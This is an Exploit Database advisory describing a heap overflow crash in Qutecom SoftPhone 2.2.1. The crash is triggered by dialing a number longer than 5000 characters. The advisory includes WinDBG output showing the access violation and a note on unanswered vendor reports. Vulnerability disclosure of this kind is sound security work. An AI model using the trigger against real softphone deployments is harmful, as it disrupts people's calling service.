Qutecom SoftPhone 2.2.1 – Heap Overflow Crash (Denial of Service) (PoC)

Exploit Database
111 阅读

作者： Debasish Mandal

日期： 2012-06-22
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/19328/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

# Title: Qutecom (Cross-platform, open source softphone) Heap Overflow DoS/Crash Proof of Concept

# Date: 14th June 2012

# Exploit Author: Debasish Mandal

# Author's Blog : http://www.debasish.in/

# Vendor Homepage: http://qutecom.org/

# Software Link: http://trac.qutecom.org/downloads/QuteCom-2.2.1-setup-release.exe

# Version: Version 2.2.1.

# Tested on: Microsoft Windows XP Professional SP2 EN (32bit)

=======

Title =

=======

Qutecom Version 2.2.1 Heap Overflow DoS/Crash Proof of Concept

==========

Summary: =

==========

QuteCom (previously called WengoPhone) is a free software SIP compliant VoIP client developed by the QuteCom (previously OpenWengo) community under the GNU General Public License (GPL). It allows users to speak to other users of SIP compliant VoIP software at no cost.

(Source :http://en.wikipedia.org/wiki/QuteCom)

This bug in Qutecom v2.2.1 is caused due to a boundary error in the processing of too long phone number.This heap buffer overflow bug can be triggered by dialing a more than 5000 character phone number or character set form the soft phone.

To trigger this bug the application must be connected to a VOIP/SIP server.An Asterisk-based PBX Phone System "TrixBox" was used to test this Crash.

============

Tested on: =

============

Tested with latest stable release http://trac.qutecom.org/downloads/QuteCom-2.2.1-setup-release.exe on Microsoft Windows XP Professional SP2 EN (32bit)

An Asterisk-based PBX Phone System "TrixBox" was used as SIP server.

=============================================================

WinDBG Output After Feeding 5000 'A's into the application: =

=============================================================

Microsoft (R) Windows Debugger Version 6.12.0002.633 X86

*** wait with pending attach

Symbol search path is: c:\symbols\private;srv*c:\symbols\web*http://msdl.microsoft.com/download/symbols

Executable search path is:

ModLoad: 00400000 00789000 C:\Program Files\QuteCom\QuteCom.exe

ModLoad: 7c900000 7c9b0000 C:\WINDOWS\system32\ntdll.dll

ModLoad: 7c800000 7c8f4000 C:\WINDOWS\system32\kernel32.dll

ModLoad: 10000000 10021000 C:\Program Files\QuteCom\owutil.dll

ModLoad: 77e70000 77f01000 C:\WINDOWS\system32\RPCRT4.dll

ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll

ModLoad: 7c9c0000 7d1d4000 C:\WINDOWS\system32\SHELL32.dll

ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll

ModLoad: 77f10000 77f56000 C:\WINDOWS\system32\GDI32.dll

ModLoad: 77d40000 77dd0000 C:\WINDOWS\system32\USER32.dll

ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll

ModLoad: 7c420000 7c4a7000 C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.6195_x-ww_44262b86\MSVCP80.dll

ModLoad: 78130000 781cb000 C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.6195_x-ww_44262b86\MSVCR80.dll

ModLoad: 00240000 0024d000 C:\Program Files\QuteCom\boost_thread-vc80-mt-1_34_1.dll

ModLoad: 00260000 00275000 C:\Program Files\QuteCom\webcam.dll

ModLoad: 76b40000 76b6d000 C:\WINDOWS\system32\WINMM.dll

ModLoad: 774e0000 7761c000 C:\WINDOWS\system32\ole32.dll

ModLoad: 77120000 771ac000 C:\WINDOWS\system32\OLEAUT32.dll

ModLoad: 00290000 0029f000 C:\Program Files\QuteCom\boost_signals-vc80-mt-1_34_1.dll

ModLoad: 01120000 014a4000 C:\Program Files\QuteCom\avcodec-51.dll

ModLoad: 002b0000 002bb000 C:\Program Files\QuteCom\avutil-49.dll

ModLoad: 002c0000 002d0000 C:\Program Files\QuteCom\owsl.dll

ModLoad: 002e0000 002e7000 C:\Program Files\QuteCom\owbase.dll

ModLoad: 00300000 0030b000 C:\Program Files\QuteCom\pthread.dll

ModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.dll

ModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.dll

ModLoad: 00320000 00349000 C:\Program Files\QuteCom\curl.dll

ModLoad: 014b0000 0157c000 C:\Program Files\QuteCom\LIBEAY32.dll

ModLoad: 71ad0000 71ad9000 C:\WINDOWS\system32\WSOCK32.dll

ModLoad: 7c360000 7c3b6000 C:\Program Files\QuteCom\MSVCR71.dll

ModLoad: 00360000 00386000 C:\Program Files\QuteCom\SSLEAY32.dll

ModLoad: 76d60000 76d79000 C:\WINDOWS\system32\iphlpapi.dll

ModLoad: 67000000 671e1000 C:\Program Files\QuteCom\QtCore4.dll

ModLoad: 65000000 6573d000 C:\Program Files\QuteCom\QtGui4.dll

ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll

ModLoad: 5d090000 5d127000 C:\WINDOWS\system32\COMCTL32.dll

ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.dll

ModLoad: 73000000 73026000 C:\WINDOWS\system32\WINSPOOL.DRV

ModLoad: 64000000 640da000 C:\Program Files\QuteCom\QtNetwork4.dll

ModLoad: 61000000 61054000 C:\Program Files\QuteCom\QtXml4.dll

ModLoad: 66000000 66041000 C:\Program Files\QuteCom\QtSvg4.dll

ModLoad: 01580000 01e49000 C:\Program Files\QuteCom\QtWebKit4.dll

ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\VERSION.dll

ModLoad: 01e50000 01e8f000 C:\Program Files\QuteCom\phonon4.dll

ModLoad: 01e90000 01e98000 C:\Program Files\QuteCom\psiidle.dll

ModLoad: 771b0000 77256000 C:\WINDOWS\system32\WININET.dll

ModLoad: 77a80000 77b14000 C:\WINDOWS\system32\CRYPT32.dll

ModLoad: 77b20000 77b32000 C:\WINDOWS\system32\MSASN1.dll

ModLoad: 77260000 772fc000 C:\WINDOWS\system32\urlmon.dll

ModLoad: 01eb0000 01ec0000 C:\Program Files\QuteCom\portaudio.dll

ModLoad: 01ed0000 01f07000 C:\Program Files\QuteCom\boost_serialization-vc80-mt-1_34_1.dll

ModLoad: 01f20000 01f5c000 C:\Program Files\QuteCom\boost_program_options-vc80-mt-1_34_1.dll

ModLoad: 01f70000 02024000 C:\Program Files\QuteCom\glib.dll

ModLoad: 02040000 0204b000 C:\Program Files\QuteCom\intl.dll

ModLoad: 02050000 02129000 C:\Program Files\QuteCom\iconv.dll

ModLoad: 02130000 02138000 C:\Program Files\QuteCom\gthread.dll

ModLoad: 02150000 02275000 C:\Program Files\QuteCom\libpurple.dll

ModLoad: 02290000 022be000 C:\Program Files\QuteCom\gobject.dll

ModLoad: 66780000 66ad5000 C:\Program Files\QuteCom\libgnutls-26.dll

ModLoad: 022d0000 02586000 C:\Program Files\QuteCom\libgcrypt-11.dll

ModLoad: 02590000 02663000 C:\Program Files\QuteCom\libgpg-error-0.dll

ModLoad: 02670000 02760000 C:\Program Files\QuteCom\libxml2.dll

ModLoad: 02760000 02772000 C:\Program Files\QuteCom\zlib1.dll

ModLoad: 02780000 02811000 C:\Program Files\QuteCom\phapi.dll

ModLoad: 02830000 02837000 C:\Program Files\QuteCom\phapiutil.dll

ModLoad: 773d0000 774d2000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9\comctl32.dll

ModLoad: 02eb0000 02ede000 C:\Program Files\ProxyFirewall\PFW.dll

ModLoad: 5ad70000 5ada8000 C:\WINDOWS\system32\uxtheme.dll

ModLoad: 77d00000 77d33000 C:\WINDOWS\system32\netman.dll

ModLoad: 76400000 765a6000 C:\WINDOWS\system32\netshell.dll

ModLoad: 76e80000 76e8e000 C:\WINDOWS\system32\rtutils.dll

ModLoad: 76c00000 76c2e000 C:\WINDOWS\system32\credui.dll

ModLoad: 76b20000 76b31000 C:\WINDOWS\system32\ATL.DLL

ModLoad: 76d40000 76d58000 C:\WINDOWS\system32\MPRAPI.dll

ModLoad: 77cc0000 77cf2000 C:\WINDOWS\system32\ACTIVEDS.dll

ModLoad: 76e10000 76e35000 C:\WINDOWS\system32\adsldpc.dll

ModLoad: 5b860000 5b8b4000 C:\WINDOWS\system32\NETAPI32.dll

ModLoad: 76f60000 76f8c000 C:\WINDOWS\system32\WLDAP32.dll

ModLoad: 71bf0000 71c03000 C:\WINDOWS\system32\SAMLIB.dll

ModLoad: 77920000 77a13000 C:\WINDOWS\system32\SETUPAPI.dll

ModLoad: 76ee0000 76f1c000 C:\WINDOWS\system32\RASAPI32.dll

ModLoad: 76e90000 76ea2000 C:\WINDOWS\system32\rasman.dll

ModLoad: 76eb0000 76edf000 C:\WINDOWS\system32\TAPI32.dll

ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll

ModLoad: 77620000 7768e000 C:\WINDOWS\system32\WZCSvc.DLL

ModLoad: 76d30000 76d34000 C:\WINDOWS\system32\WMI.dll

ModLoad: 76d80000 76d9e000 C:\WINDOWS\system32\DHCPCSVC.DLL

ModLoad: 76f20000 76f47000 C:\WINDOWS\system32\DNSAPI.dll

ModLoad: 76f50000 76f58000 C:\WINDOWS\system32\WTSAPI32.dll

ModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dll

ModLoad: 606b0000 607bd000 C:\WINDOWS\system32\ESENT.dll

ModLoad: 73030000 73040000 C:\WINDOWS\system32\WZCSAPI.DLL

ModLoad: 71a50000 71a8f000 C:\WINDOWS\System32\mswsock.dll

ModLoad: 662b0000 66308000 C:\WINDOWS\system32\hnetcfg.dll

ModLoad: 71a90000 71a98000 C:\WINDOWS\System32\wshtcpip.dll

ModLoad: 76fb0000 76fb8000 C:\WINDOWS\System32\winrnr.dll

ModLoad: 76fc0000 76fc6000 C:\WINDOWS\system32\rasadhlp.dll

ModLoad: 03420000 03429000 C:\Program Files\QuteCom\imageformats\qgif4.dll

ModLoad: 03440000 03461000 C:\Program Files\QuteCom\imageformats\qjpeg4.dll

ModLoad: 03480000 034b9000 C:\Program Files\QuteCom\imageformats\qmng4.dll

ModLoad: 034d0000 034d8000 C:\Program Files\QuteCom\imageformats\qsvg4.dll

ModLoad: 034f0000 03537000 C:\Program Files\QuteCom\imageformats\qtiff4.dll

ModLoad: 769c0000 76a73000 C:\WINDOWS\system32\userenv.dll

ModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dll

ModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dll

ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv

ModLoad: 72d10000 72d18000 C:\WINDOWS\system32\msacm32.drv

ModLoad: 77be0000 77bf5000 C:\WINDOWS\system32\MSACM32.dll

ModLoad: 77bd0000 77bd7000 C:\WINDOWS\system32\midimap.dll

ModLoad: 20000000 202c5000 C:\WINDOWS\system32\xpsp2res.dll

ModLoad: 0ffd0000 0fff8000 C:\WINDOWS\system32\rsaenh.dll

ModLoad: 03560000 0356d000 C:\Program Files\QuteCom\sfp-plugin.dll

ModLoad: 76fd0000 7704f000 C:\WINDOWS\system32\CLBCATQ.DLL

ModLoad: 77050000 77115000 C:\WINDOWS\system32\COMRes.dll

ModLoad: 75f40000 75f51000 C:\WINDOWS\system32\devenum.dll

ModLoad: 736b0000 736b7000 C:\WINDOWS\system32\msdmo.dll

ModLoad: 76780000 76789000 C:\WINDOWS\system32\shfolder.dll

ModLoad: 09a80000 09a87000 C:\Program Files\Internet Download Manager\idmmkb.dll

ModLoad: 0b890000 0b8a8000 C:\Program Files\QuteCom\phapi-plugins\phspeexplugin.dll

ModLoad: 0a560000 0a574000 C:\PROGRA~1\INVISI~1\keycapt.dll

ModLoad: 73080000 7309c000 C:\WINDOWS\system32\rsvpsp.dll

ModLoad: 68100000 68124000 C:\WINDOWS\system32\dssenh.dll

ModLoad: 77b40000 77b62000 C:\WINDOWS\system32\Apphelp.dll

(9b4.f38): Access violation - code c0000005 (!!! second chance !!!)

eax=41414141 ebx=02d70000 ecx=085d87d8 edx=02d70478 esi=085d87d0 edi=41414141

eip=7c9111de esp=0b88fb94 ebp=0b88fdb4 iopl=0 nv up ei pl nz na po nc

cs=001bss=0023ds=0023es=0023fs=0038gs=0000 efl=00000202

ntdll!RtlAllocateHeap+0x567:

7c9111de 8b10mov edx,dword ptr [eax]ds:0023:41414141=????????

0:000> r

eax=41414141 ebx=02d70000 ecx=0860efc0 edx=02d70178 esi=0860efb8 edi=41414141

eip=7c9111de esp=0111d42c ebp=0111d64c iopl=0 nv up ei pl nz ac pe nc

cs=001bss=0023ds=0023es=0023fs=0038gs=0000 efl=00000216

ntdll!RtlAllocateHeap+0x567:

7c9111de 8b10mov edx,dword ptr [eax]ds:0023:41414141=????????

0:000> d esi

0860efb841 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA

0860efc841 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA

0860efd841 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA

0860efe841 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA

0860eff841 41 41 41 41 41 41 41-?? ?? ?? ?? ?? ?? ?? ??AAAAAAAA????????

0:000> u 7c9111de

ntdll!RtlAllocateHeap+0x567:

7c9111de 8b10mov edx,dword ptr [eax]

7c9111e0 3b5704cmp edx,dword ptr [edi+4]

7c9111e3 0f858c310200jne ntdll!RtlAllocateHeap+0x579 (7c934375)

7c9111e9 3bd1cmp edx,ecx

7c9111eb 0f8584310200jne ntdll!RtlAllocateHeap+0x579 (7c934375)

7c9111f1 8938mov dword ptr [eax],edi

7c9111f3 894704mov dword ptr [edi+4],eax

7c9111f6 3bf8cmp edi,eax

==============

Vedor Report =

==============

I have sent several notifications to qutecom on this bug in this application but I havn't got any response.

Bug Ticket :http://qutecom.org/ticket/399

mail to : qutecom-dev@lists.qutecom.org